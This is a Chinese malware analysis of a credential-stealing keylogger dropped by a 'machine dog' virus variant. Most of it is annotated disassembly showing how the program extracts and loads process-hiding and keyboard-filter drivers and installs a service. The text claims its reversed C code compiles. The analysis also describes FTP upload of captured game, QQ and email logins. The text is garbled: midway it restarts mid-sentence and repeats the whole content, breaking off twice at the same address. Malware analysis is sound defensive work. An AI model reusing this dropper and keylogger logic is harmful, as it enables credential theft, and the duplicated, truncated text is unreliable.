本程序发现于机器狗变种病毒释放恶意程序的下载列表中:穿透还原系统后的机器狗病毒在
机器启动后会从指定网址下载多个恶意程序,本程序即其中之一,其功能为通过底层键盘过滤
方式盗取用户键盘输入信息。因程序使用了底层键盘过滤技术,故而可记录大部分软件的键盘
输入,包括网游、QQ、邮箱的帐户输入信息等。
一、原理:
此程序随系统进程internat.exe启动而被执行,程序通过加载自身资源里的两个驱动来隐
藏自身进程并截获键盘输入;通过自身线程与前端窗口线程输入绑定来监视窗口句柄及控件焦
点的变化情况,如发现变化则向驱动请求键盘输入扫描码数据,并对得到的扫描数据做解码、
加密、存盘操作;每隔50分钟程序会将按键记录文件上传到指定ftp服务器。
二、说明:
1、本文提供的逆向代码均可编译,为调试方便,主程序逆向的C代码去除了定时上传和记
录加密部分(保留汇编代码注释),本地生成的记录文件改随机文件名为当前目录固定文件
名:kblog.txt;
2、使用OD跟踪可以很容易的从资源中分离出的两个驱动:msdtx.sys和kdbrv.sys。(附件
下载) msdtx.sys用于自身进程隐藏,经分析其采用的是fuzen开源代码(附件下载),本文不
做讨论。kbdrv.sys为键盘过滤驱动,本文给出其基本流程,并给出IDA反汇编代码的详细注
释。(附件下载)
3、驱动逆向以hexrays生成的伪代码为中心,尝试以最少的改动来实现伪代码(附件下载)
的编译;
4、主程序逆向的C代码(见KBLOG_C目录)使用的编译环境为VC6.0,通过此编译环境对驱动
的替换可以验证逆向出来的驱动代码是否正确。
三、流程
主程序kblog.exe基本流程:
1、释放、加载、启动隐藏自身进程的驱动。
2、释放、加载、启动键盘过滤驱动服务。
3、绑定自身线程输入到前端窗口线程输入。
4、监视前端窗口句柄和当前焦点控件句柄。
如有变化,则向驱动请求数据,并保存数据。
5、每隔50分钟向指定ftp上传加密过的键盘记录。
说明:
1、在没有安装过还原系统的机器上重复运行此程序会导致蓝屏,这是因为加载的驱动没有
做卸载处理、重复加载所致而对安装了还原系统的机器则不存在此问题,所以这种加载方式应
该是针对安装了还原系统的网吧设计。
2、本地生成的记录文件名是随机的,上传到FTP的记录文件被重新命名,FTP目录
cert/cnt/中以数字文件名的形式设置了一个文件记数器,每次上传后此记数器加1,同时保存
到FTP中的文件名会以此记数器的当前数字来命名。记录文件上传后本地记录文件即被删除。
以下为主程序kblog.exe的代码注释:
------------------------------------------------------;主程序入口---------------------------
00401B39 >push ebp
00401B3A mov ebp,esp
00401B3C push -1
00401B3E push 00402681 ; SE 处理程序安装
00401B43 mov eax,fs:[0]
00401B49 push eax
00401B4A mov fs:[0],esp
00401B51 sub esp,0AC0
00401B57 mov dword ptr [ebp-AC4],0
00401B61 mov dword ptr [ebp-6BC],0
00401B6B mov dword ptr [ebp-398],0
00401B75 mov dword ptr [ebp-4A4],0
00401B7F mov dword ptr [ebp-5B0],0
00401B89 mov dword ptr [ebp-218],0
00401B93 mov dword ptr [ebp-5AC],0
------------------------------------------------------; 建立流文件对象--------------------------
00401B9D push 1
00401B9F lea ecx,[ebp-84]
00401BA5 call [<&MSVCIRT.fstream::fstream>] ; MSVCIRT.fstream::fstream
00401BAB mov dword ptr [ebp-4],0
00401BB2 push 1
00401BB4 lea ecx,[ebp-380]
00401BBA call [<&MSVCIRT.fstream::fstream>] ; MSVCIRT.fstream::fstream
00401BC0 mov byte ptr [ebp-4],1
-----------------------------------------------------------------------------------------------
00401BC4 mov dword ptr [ebp-31C],004042D0 ; ASCII "/kbdrv.sys" 键盘过滤驱动文件名
00401BCE mov dword ptr [ebp-20],004042DC ; ASCII "/msdtx.sys" 隐藏进程驱动文件名
00401BD5 mov dword ptr [ebp-14],0
00401BDC mov dword ptr [ebp-38C],0
00401BE6 mov dword ptr [ebp-39C],0
00401BF0 mov dword ptr [ebp-10],0
00401BF7 call 004012B0 ; 检测是否具备administrator权限
00401BFC mov [ebp-38C],eax
00401C02 cmp dword ptr [ebp-38C],0
00401C09 jnz short 00401C10 ; 如具备权限则跳转
00401C0B jmp 004023B0 ; 否则返回(释放流文件对象并退出)
00401C10 push 0
00401C12 call [<&KERNEL32.GetModuleHandleA>] ; KERNEL32.GetModuleHandleA
00401C18 mov [ebp-18],eax
00401C1B lea eax,[ebp-49C]
------------------------------------------------------; 定位并加载隐藏进程的驱动文件--------------
00401C21 push eax
00401C22 push 100
00401C27 call [<&KERNEL32.GetCurrentDirectoryA>] ; KERNEL32.GetCurrentDirectoryA
00401C2D mov ecx,[ebp-20]
00401C30 push ecx
00401C31 lea edx,[ebp-49C]
00401C37 push edx
00401C38 call <jmp.&MSVCRT.strcat> ; 带路径的驱动文件名
00401C3D add esp,8
00401C40 lea eax,[ebp-49C]
00401C46 mov [40455C],eax
00401C4B push 004042E8 ; ASCII "sys"
00401C50 push 6A
00401C52 mov ecx,[ebp-18]
00401C55 push ecx ;
00401C56 call [<&KERNEL32.FindResourceA>] ; KERNEL32.FindResourceA 在资源中定位
00401C5C mov [ebp-390],eax
00401C62 cmp dword ptr [ebp-390],0
00401C69 jnz short 00401C70 ; 如定位成功则跳转
00401C6B jmp 004023B0 ; 否则返回
00401C70 mov edx,[ebp-390]
00401C76 push edx
00401C77 mov eax,[ebp-18]
00401C7A push eax
00401C7B call [<&KERNEL32.LoadResource>] ; KERNEL32.LoadResource 加载至内存
00401C81 mov [ebp-6B8],eax
00401C87 cmp dword ptr [ebp-6B8],0
00401C8E jnz short 00401C95 ; 如加载成功则跳转
00401C90 jmp 004023B0 ; 否则返回
------------------------------------------------------; 生成驱动文件msdtx.sys(用于隐藏自身进程)-------
00401C95 mov ecx,[ebp-6B8]
00401C9B push ecx
00401C9C call [<&KERNEL32.LockResource>] ; KERNEL32.SetHandleCount 设置可用句柄
00401CA2 mov [ebp-1C],eax
00401CA5 cmp dword ptr [ebp-1C],0
00401CA9 jnz short 00401CB0 ; 如设置成功则跳转
00401CAB jmp 004023B0 ; 否则返回
00401CB0 mov edx,[ebp-390]
00401CB6 push edx
00401CB7 mov eax,[ebp-18]
00401CBA push eax
00401CBB call [<&KERNEL32.SizeofResource>] ; KERNEL32.SizeofResource 资源尺寸
00401CC1 mov [ebp-4A0],eax
00401CC7 mov ecx,[<&MSVCIRT.filebuf::openprot>] ; MSVCIRT.filebuf::openprot
00401CCD mov edx,[ecx]
00401CCF push edx
00401CD0 push 8A
00401CD5 mov eax,[40455C]
00401CDA push eax
00401CDB lea ecx,[ebp-380]
00401CE1 call [<&MSVCIRT.fstream::open>] ; 打开用于建立文件
00401CE7 mov ecx,[ebp-380]
00401CED mov edx,[ecx+4]
00401CF0 lea ecx,[ebp+edx-380]
00401CF7 call [<&MSVCIRT.ios::fail>] ; MSVCIRT.ios::fail
00401CFD test eax,eax
00401CFF je short 00401D06 ; 如打开成功 则跳转
00401D01 jmp 004023B0 ; 否则返回
00401D06 mov eax,[ebp-4A0]
00401D0C push eax
00401D0D mov ecx,[ebp-1C]
00401D10 push ecx
00401D11 lea ecx,[ebp-374]
00401D17 call [<&MSVCIRT.ostream::write>] ; MSVCIRT.ostream::write 写入文件
00401D1D lea ecx,[ebp-380]
00401D23 call [<&MSVCIRT.fstream::close>] ; MSVCIRT.fstream::close 关闭文件
------------------------------------------------------; 初始化驱动并隐藏自身进程----------------
00401D29 call 004023F1 ; 初始化驱动
00401D2E cmp eax,-1
00401D31 jnz short 00401D45 ; 初始化成功则跳转
00401D33 mov edx,[40455C] ; 否则删除驱动文件并返回
00401D39 push edx
00401D3A call [<&KERNEL32.DeleteFileA>] ; KERNEL32.DeleteFileA
00401D40 jmp 004023B0
00401D45 call [<&MSVCRT._getpid>] ; MSVCRT._getpid 得到自身进程PID
00401D4B mov [ebp-384],eax
00401D51 mov eax,[ebp-384]
00401D57 push eax
00401D58 call 004025A3 ; 隐藏自身进程
00401D5D add esp,4
00401D60 mov [ebp-6B4],eax
00401D66 cmp dword ptr [ebp-6B4],0
00401D6D jnz short 00401D81 ; 隐藏成功则跳转
00401D6F mov ecx,[40455C] ; 否则删除文件并返回
00401D75 push ecx
00401D76 call [<&KERNEL32.DeleteFileA>] ; KERNEL32.DeleteFileA
00401D7C jmp 004023B0
00401D81 mov edx,[40455C]
00401D87 push edx ;
00401D88 call [<&KERNEL32.DeleteFileA>] ; KERNEL32.DeleteFileA
------------------------------------------------------; 定位并加载键盘过滤的驱动文件--------------
00401D8E lea eax,[ebp-49C]
00401D94 push eax
00401D95 push 100
00401D9A call [<&KERNEL32.GetCurrentDirectoryA>] ; KERNEL32.GetCurrentDirectoryA
00401DA0 mov ecx,[ebp-31C]
00401DA6 push ecx
00401DA7 lea edx,[ebp-49C]
00401DAD push edx
00401DAE call <jmp.&MSVCRT.strcat> ; 带路径的驱动文件名
00401DB3 add esp,8
00401DB6 lea eax,[ebp-49C]
00401DBC mov [40455C],eax
00401DC1 push 004042EC ; ASCII "sys"
00401DC6 push 69
00401DC8 mov ecx,[ebp-18]
00401DCB push ecx
00401DCC call [<&KERNEL32.FindResourceA>] ; KERNEL32.FindResourceA 定位
00401DD2 mov [ebp-390],eax
00401DD8 cmp dword ptr [ebp-390],0
00401DDF jnz short 00401DE6 ; 如定位成功则跳转
00401DE1 jmp 004023B0 ; 否则返回
00401DE6 mov edx,[ebp-390]
00401DEC push edx
00401DED mov eax,[ebp-18]
00401DF0 push eax
00401DF1 call [<&KERNEL32.LoadResource>] ; KERNEL32.LoadResource 加载至内存
00401DF7 mov [ebp-6B8],eax
00401DFD cmp dword ptr [ebp-6B8],0
00401E04 jnz short 00401E0B ; 如加载成功则跳转
00401E06 jmp 004023B0 ; 否则返回
------------------------------------------------------; 生成驱动文件kbdrv.sys(用于键盘过滤)--------------
00401E0B mov ecx,[ebp-6B8]
00401E11 push ecx
00401E12 call [<&KERNEL32.LockResource>] ; KERNEL32.SetHandleCount 设置可用句柄
00401E18 mov [ebp-1C],eax
00401E1B cmp dword ptr [ebp-1C],0
00401E1F jnz short 00401E26 ; 如设置成功则跳转
00401E21 jmp 004023B0 ; 否则返回
00401E26 mov edx,[ebp-390]
00401E2C push edx
00401E2D mov eax,[ebp-18]
00401E30 push eax
00401E31 call [<&KERNEL32.SizeofResource>] ; KERNEL32.SizeofResource 资源尺寸
00401E37 mov [ebp-4A0],eax
00401E3D mov ecx,[<&MSVCIRT.filebuf::openprot>] ; MSVCIRT.filebuf::openprot
00401E43 mov edx,[ecx]
00401E45 push edx
00401E46 push 8A
00401E4B mov eax,[40455C]
00401E50 push eax
00401E51 lea ecx,[ebp-380]
00401E57 call [<&MSVCIRT.fstream::open>] ; 打开用于建立文件
00401E5D mov ecx,[ebp-380]
00401E63 mov edx,[ecx+4]
00401E66 lea ecx,[ebp+edx-380]
00401E6D call [<&MSVCIRT.ios::fail>] ; MSVCIRT.ios::fail
00401E73 test eax,eax
00401E75 je short 00401E7C ; 如打开成功 则跳转
00401E77 jmp 004023B0 ; 否则返回
00401E7C mov eax,[ebp-4A0]
00401E82 push eax
00401E83 mov ecx,[ebp-1C]
00401E86 push ecx
00401E87 lea ecx,[ebp-374]
00401E8D call [<&MSVCIRT.ostream::write>] ; MSVCIRT.ostream::write 写入文件
00401E93 lea ecx,[ebp-380]
00401E99 call [<&MSVCIRT.fstream::close>] ; MSVCIRT.fstream::close 关闭文件
------------------------------------------------------; 安装并启动服务----------------------------
00401E9F push 0F003F
00401EA4 push 0
00401EA6 push 0
0040
机器启动后会从指定网址下载多个恶意程序,本程序即其中之一,其功能为通过底层键盘过滤
方式盗取用户键盘输入信息。因程序使用了底层键盘过滤技术,故而可记录大部分软件的键盘
输入,包括网游、QQ、邮箱的帐户输入信息等。
一、原理:
此程序随系统进程internat.exe启动而被执行,程序通过加载自身资源里的两个驱动来隐
藏自身进程并截获键盘输入;通过自身线程与前端窗口线程输入绑定来监视窗口句柄及控件焦
点的变化情况,如发现变化则向驱动请求键盘输入扫描码数据,并对得到的扫描数据做解码、
加密、存盘操作;每隔50分钟程序会将按键记录文件上传到指定ftp服务器。
二、说明:
1、本文提供的逆向代码均可编译,为调试方便,主程序逆向的C代码去除了定时上传和记
录加密部分(保留汇编代码注释),本地生成的记录文件改随机文件名为当前目录固定文件
名:kblog.txt;
2、使用OD跟踪可以很容易的从资源中分离出的两个驱动:msdtx.sys和kdbrv.sys。(附件
下载) msdtx.sys用于自身进程隐藏,经分析其采用的是fuzen开源代码(附件下载),本文不
做讨论。kbdrv.sys为键盘过滤驱动,本文给出其基本流程,并给出IDA反汇编代码的详细注
释。(附件下载)
3、驱动逆向以hexrays生成的伪代码为中心,尝试以最少的改动来实现伪代码(附件下载)
的编译;
4、主程序逆向的C代码(见KBLOG_C目录)使用的编译环境为VC6.0,通过此编译环境对驱动
的替换可以验证逆向出来的驱动代码是否正确。
三、流程
主程序kblog.exe基本流程:
1、释放、加载、启动隐藏自身进程的驱动。
2、释放、加载、启动键盘过滤驱动服务。
3、绑定自身线程输入到前端窗口线程输入。
4、监视前端窗口句柄和当前焦点控件句柄。
如有变化,则向驱动请求数据,并保存数据。
5、每隔50分钟向指定ftp上传加密过的键盘记录。
说明:
1、在没有安装过还原系统的机器上重复运行此程序会导致蓝屏,这是因为加载的驱动没有
做卸载处理、重复加载所致而对安装了还原系统的机器则不存在此问题,所以这种加载方式应
该是针对安装了还原系统的网吧设计。
2、本地生成的记录文件名是随机的,上传到FTP的记录文件被重新命名,FTP目录
cert/cnt/中以数字文件名的形式设置了一个文件记数器,每次上传后此记数器加1,同时保存
到FTP中的文件名会以此记数器的当前数字来命名。记录文件上传后本地记录文件即被删除。
以下为主程序kblog.exe的代码注释:
------------------------------------------------------;主程序入口---------------------------
00401B39 >push ebp
00401B3A mov ebp,esp
00401B3C push -1
00401B3E push 00402681 ; SE 处理程序安装
00401B43 mov eax,fs:[0]
00401B49 push eax
00401B4A mov fs:[0],esp
00401B51 sub esp,0AC0
00401B57 mov dword ptr [ebp-AC4],0
00401B61 mov dword ptr [ebp-6BC],0
00401B6B mov dword ptr [ebp-398],0
00401B75 mov dword ptr [ebp-4A4],0
00401B7F mov dword ptr [ebp-5B0],0
00401B89 mov dword ptr [ebp-218],0
00401B93 mov dword ptr [ebp-5AC],0
------------------------------------------------------; 建立流文件对象--------------------------
00401B9D push 1
00401B9F lea ecx,[ebp-84]
00401BA5 call [<&MSVCIRT.fstream::fstream>] ; MSVCIRT.fstream::fstream
00401BAB mov dword ptr [ebp-4],0
00401BB2 push 1
00401BB4 lea ecx,[ebp-380]
00401BBA call [<&MSVCIRT.fstream::fstream>] ; MSVCIRT.fstream::fstream
00401BC0 mov byte ptr [ebp-4],1
-----------------------------------------------------------------------------------------------
00401BC4 mov dword ptr [ebp-31C],004042D0 ; ASCII "/kbdrv.sys" 键盘过滤驱动文件名
00401BCE mov dword ptr [ebp-20],004042DC ; ASCII "/msdtx.sys" 隐藏进程驱动文件名
00401BD5 mov dword ptr [ebp-14],0
00401BDC mov dword ptr [ebp-38C],0
00401BE6 mov dword ptr [ebp-39C],0
00401BF0 mov dword ptr [ebp-10],0
00401BF7 call 004012B0 ; 检测是否具备administrator权限
00401BFC mov [ebp-38C],eax
00401C02 cmp dword ptr [ebp-38C],0
00401C09 jnz short 00401C10 ; 如具备权限则跳转
00401C0B jmp 004023B0 ; 否则返回(释放流文件对象并退出)
00401C10 push 0
00401C12 call [<&KERNEL32.GetModuleHandleA>] ; KERNEL32.GetModuleHandleA
00401C18 mov [ebp-18],eax
00401C1B lea eax,[ebp-49C]
------------------------------------------------------; 定位并加载隐藏进程的驱动文件--------------
00401C21 push eax
00401C22 push 100
00401C27 call [<&KERNEL32.GetCurrentDirectoryA>] ; KERNEL32.GetCurrentDirectoryA
00401C2D mov ecx,[ebp-20]
00401C30 push ecx
00401C31 lea edx,[ebp-49C]
00401C37 push edx
00401C38 call <jmp.&MSVCRT.strcat> ; 带路径的驱动文件名
00401C3D add esp,8
00401C40 lea eax,[ebp-49C]
00401C46 mov [40455C],eax
00401C4B push 004042E8 ; ASCII "sys"
00401C50 push 6A
00401C52 mov ecx,[ebp-18]
00401C55 push ecx ;
00401C56 call [<&KERNEL32.FindResourceA>] ; KERNEL32.FindResourceA 在资源中定位
00401C5C mov [ebp-390],eax
00401C62 cmp dword ptr [ebp-390],0
00401C69 jnz short 00401C70 ; 如定位成功则跳转
00401C6B jmp 004023B0 ; 否则返回
00401C70 mov edx,[ebp-390]
00401C76 push edx
00401C77 mov eax,[ebp-18]
00401C7A push eax
00401C7B call [<&KERNEL32.LoadResource>] ; KERNEL32.LoadResource 加载至内存
00401C81 mov [ebp-6B8],eax
00401C87 cmp dword ptr [ebp-6B8],0
00401C8E jnz short 00401C95 ; 如加载成功则跳转
00401C90 jmp 004023B0 ; 否则返回
------------------------------------------------------; 生成驱动文件msdtx.sys(用于隐藏自身进程)-------
00401C95 mov ecx,[ebp-6B8]
00401C9B push ecx
00401C9C call [<&KERNEL32.LockResource>] ; KERNEL32.SetHandleCount 设置可用句柄
00401CA2 mov [ebp-1C],eax
00401CA5 cmp dword ptr [ebp-1C],0
00401CA9 jnz short 00401CB0 ; 如设置成功则跳转
00401CAB jmp 004023B0 ; 否则返回
00401CB0 mov edx,[ebp-390]
00401CB6 push edx
00401CB7 mov eax,[ebp-18]
00401CBA push eax
00401CBB call [<&KERNEL32.SizeofResource>] ; KERNEL32.SizeofResource 资源尺寸
00401CC1 mov [ebp-4A0],eax
00401CC7 mov ecx,[<&MSVCIRT.filebuf::openprot>] ; MSVCIRT.filebuf::openprot
00401CCD mov edx,[ecx]
00401CCF push edx
00401CD0 push 8A
00401CD5 mov eax,[40455C]
00401CDA push eax
00401CDB lea ecx,[ebp-380]
00401CE1 call [<&MSVCIRT.fstream::open>] ; 打开用于建立文件
00401CE7 mov ecx,[ebp-380]
00401CED mov edx,[ecx+4]
00401CF0 lea ecx,[ebp+edx-380]
00401CF7 call [<&MSVCIRT.ios::fail>] ; MSVCIRT.ios::fail
00401CFD test eax,eax
00401CFF je short 00401D06 ; 如打开成功 则跳转
00401D01 jmp 004023B0 ; 否则返回
00401D06 mov eax,[ebp-4A0]
00401D0C push eax
00401D0D mov ecx,[ebp-1C]
00401D10 push ecx
00401D11 lea ecx,[ebp-374]
00401D17 call [<&MSVCIRT.ostream::write>] ; MSVCIRT.ostream::write 写入文件
00401D1D lea ecx,[ebp-380]
00401D23 call [<&MSVCIRT.fstream::close>] ; MSVCIRT.fstream::close 关闭文件
------------------------------------------------------; 初始化驱动并隐藏自身进程----------------
00401D29 call 004023F1 ; 初始化驱动
00401D2E cmp eax,-1
00401D31 jnz short 00401D45 ; 初始化成功则跳转
00401D33 mov edx,[40455C] ; 否则删除驱动文件并返回
00401D39 push edx
00401D3A call [<&KERNEL32.DeleteFileA>] ; KERNEL32.DeleteFileA
00401D40 jmp 004023B0
00401D45 call [<&MSVCRT._getpid>] ; MSVCRT._getpid 得到自身进程PID
00401D4B mov [ebp-384],eax
00401D51 mov eax,[ebp-384]
00401D57 push eax
00401D58 call 004025A3 ; 隐藏自身进程
00401D5D add esp,4
00401D60 mov [ebp-6B4],eax
00401D66 cmp dword ptr [ebp-6B4],0
00401D6D jnz short 00401D81 ; 隐藏成功则跳转
00401D6F mov ecx,[40455C] ; 否则删除文件并返回
00401D75 push ecx
00401D76 call [<&KERNEL32.DeleteFileA>] ; KERNEL32.DeleteFileA
00401D7C jmp 004023B0
00401D81 mov edx,[40455C]
00401D87 push edx ;
00401D88 call [<&KERNEL32.DeleteFileA>] ; KERNEL32.DeleteFileA
------------------------------------------------------; 定位并加载键盘过滤的驱动文件--------------
00401D8E lea eax,[ebp-49C]
00401D94 push eax
00401D95 push 100
00401D9A call [<&KERNEL32.GetCurrentDirectoryA>] ; KERNEL32.GetCurrentDirectoryA
00401DA0 mov ecx,[ebp-31C]
00401DA6 push ecx
00401DA7 lea edx,[ebp-49C]
00401DAD push edx
00401DAE call <jmp.&MSVCRT.strcat> ; 带路径的驱动文件名
00401DB3 add esp,8
00401DB6 lea eax,[ebp-49C]
00401DBC mov [40455C],eax
00401DC1 push 004042EC ; ASCII "sys"
00401DC6 push 69
00401DC8 mov ecx,[ebp-18]
00401DCB push ecx
00401DCC call [<&KERNEL32.FindResourceA>] ; KERNEL32.FindResourceA 定位
00401DD2 mov [ebp-390],eax
00401DD8 cmp dword ptr [ebp-390],0
00401DDF jnz short 00401DE6 ; 如定位成功则跳转
00401DE1 jmp 004023B0 ; 否则返回
00401DE6 mov edx,[ebp-390]
00401DEC push edx
00401DED mov eax,[ebp-18]
00401DF0 push eax
00401DF1 call [<&KERNEL32.LoadResource>] ; KERNEL32.LoadResource 加载至内存
00401DF7 mov [ebp-6B8],eax
00401DFD cmp dword ptr [ebp-6B8],0
00401E04 jnz short 00401E0B ; 如加载成功则跳转
00401E06 jmp 004023B0 ; 否则返回
------------------------------------------------------; 生成驱动文件kbdrv.sys(用于键盘过滤)--------------
00401E0B mov ecx,[ebp-6B8]
00401E11 push ecx
00401E12 call [<&KERNEL32.LockResource>] ; KERNEL32.SetHandleCount 设置可用句柄
00401E18 mov [ebp-1C],eax
00401E1B cmp dword ptr [ebp-1C],0
00401E1F jnz short 00401E26 ; 如设置成功则跳转
00401E21 jmp 004023B0 ; 否则返回
00401E26 mov edx,[ebp-390]
00401E2C push edx
00401E2D mov eax,[ebp-18]
00401E30 push eax
00401E31 call [<&KERNEL32.SizeofResource>] ; KERNEL32.SizeofResource 资源尺寸
00401E37 mov [ebp-4A0],eax
00401E3D mov ecx,[<&MSVCIRT.filebuf::openprot>] ; MSVCIRT.filebuf::openprot
00401E43 mov edx,[ecx]
00401E45 push edx
00401E46 push 8A
00401E4B mov eax,[40455C]
00401E50 push eax
00401E51 lea ecx,[ebp-380]
00401E57 call [<&MSVCIRT.fstream::open>] ; 打开用于建立文件
00401E5D mov ecx,[ebp-380]
00401E63 mov edx,[ecx+4]
00401E66 lea ecx,[ebp+edx-380]
00401E6D call [<&MSVCIRT.ios::fail>] ; MSVCIRT.ios::fail
00401E73 test eax,eax
00401E75 je short 00401E7C ; 如打开成功 则跳转
00401E77 jmp 004023B0 ; 否则返回
00401E7C mov eax,[ebp-4A0]
00401E82 push eax
00401E83 mov ecx,[ebp-1C]
00401E86 push ecx
00401E87 lea ecx,[ebp-374]
00401E8D call [<&MSVCIRT.ostream::write>] ; MSVCIRT.ostream::write 写入文件
00401E93 lea ecx,[ebp-380]
00401E99 call [<&MSVCIRT.fstream::close>] ; MSVCIRT.fstream::close 关闭文件
------------------------------------------------------; 安装并启动服务----------------------------
00401E9F push 0F003F
00401EA4 push 0
00401EA6 push 0
0040